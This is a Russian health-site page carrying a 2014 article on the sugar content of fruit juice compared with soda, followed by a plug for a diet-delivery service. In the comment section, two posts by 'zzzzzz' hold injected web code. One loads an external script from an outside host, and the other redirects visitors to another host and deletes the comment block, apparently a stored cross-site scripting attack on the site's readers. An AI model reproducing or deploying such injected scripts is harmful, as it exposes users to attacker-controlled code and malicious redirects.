Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Кошмар! Сок нельзя пить, ...  >>  Кошмар! Сок нельзя пить, если хочешь быть красивой и стройной!
 
Обратная связь
 

Кошмар! Сок нельзя пить, если хочешь быть красивой и стройной!

Размер шрифта
10 июля 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

На дне рождения просите сок вместо сладкой газировки? Вы ничего не понимаете! О том, насколько вредны соки, читайте в нашей статье.

Кошмар! Сок нельзя пить, если хочешь быть красивой и стройной!

Специалисты не подвергают сомнению тот факт, что употребление сладких напитков ведет к ожирению и сопутствующим ему патологиям. Повышение массы тела связывают с высокой калорийностью таких напитков, а не побочными эффектами содержащейся в них фруктозы, как считалось ранее. Нет свидетельств того, что набор веса от сладких напитков имеет больше нежелательных эффектов на здоровье, чем набор веса от любых других продуктов. Дело в том, что чувство сытости от напитков незначительно, поэтому, несмотря на их высокую калорийность, мы не уменьшаем соответственно употребление твердых продуктов. Специалисты утверждают, что со сладкими напитками мы потребляем значительную часть дневной нормы сахара, в то время как в них не содержится других питательных веществ, необходимых организму.

По сравнению со сладкими напитками фрукты не так популярны. Согласно Британским рекомендациям, нужно съедать 5 порций фруктов и овощей в день, и одна из них может быть в виде сока. Фруктовые соки содержат примерно столько же сахара, сколько и газировка. Энергетическая ценность 250 миллилитров апельсинового сока – 110 калорий, содержание сахара – 26 грамм. Энергетическая ценность 250 миллилитров сладкой газировки – 105 калорий, содержание сахара – 26,5 грамм. Потребление свежих фруктов связывают с уменьшением риска диабета, в то время как фруктовые соки являются одним из факторов, повышающих риск этого заболевания.

Конечно, нельзя сказать, что фруктовые соки и газировка идентичны. Соки содержат витамины и минералы, которые могут быть полезны нерационально питающимся людям. Тем не менее, полезных веществ во фруктовых соках недостаточно, чтобы перекрыть нежелательные последствия их употребления. Согласно исследованию, после 3 месяцев ежедневного употребления 480 миллилитров богатого антиоксидантами виноградного сока у добровольцев с ожирением увеличилась резистентность к инсулину и окружность талии. Так что, несмотря на заверения рекламы и некоторых специалистов, фруктовые соки не намного полезнее обычной газировки.

Бытует мнение о полезных свойствах фруктовых соков, однако мало кто осведомлен о высоком содержании сахара в этих напитках. Согласно опросу, люди считают, что количество сахара во фруктовых соках и смузи в среднем на 48% меньше реальных цифр. Большинство ошибочно считают эти напитки здоровой альтернативой газировке.

В нашем мире излишних калорий диетологам и маркетологам следует позаботиться о максимальной осведомленности населения о реальной калорийности потребляемых продуктов. Необходимо убедить покупателей в том, что соки – это такой же сладкий напиток, как и сладкая газировка, обладающий рядом побочных эффектов.

Хотите похудеть без обмана – специально для вас создана «Диета Елены Малышевой». Уже готовая правильная еда будет доставлена в любое удобное для вас место и время. Вам останется только худеть!

Данная статья основана на материалах, предоставленных журналом «The Lancet» в 2014 году.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:36

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:33

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Жирная еда делает вас стервой!   Выключите компьютер! Из-за него вы толстеете!   Перекус, который заставит вас купить штаны на размер меньше в Новом году   То, что ест отец до зачатия, влияет на здоровье ребенка  
03 октября 2013Результаты благотворительного марафона «Всем миром» 08 июля 2013Теперь можно выбрать, какой ребенок у вас будет! ЭКО открывает новые горизонты
 
18 июня 2013Повезло, живете в пешей доступности от шоссе? Не так быстро! Чем ближе к шоссе, тем больнее почки! Как защитить себя? 12 июня 2013Обычный шум может вызвать остановку сердца! Как избежать этого?
 

Слайдшоу

1
Как лишний вес влияет на ваши ноги и их красоту
Худшие советы для похудения. Часть 3
Что с моим ртом?

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.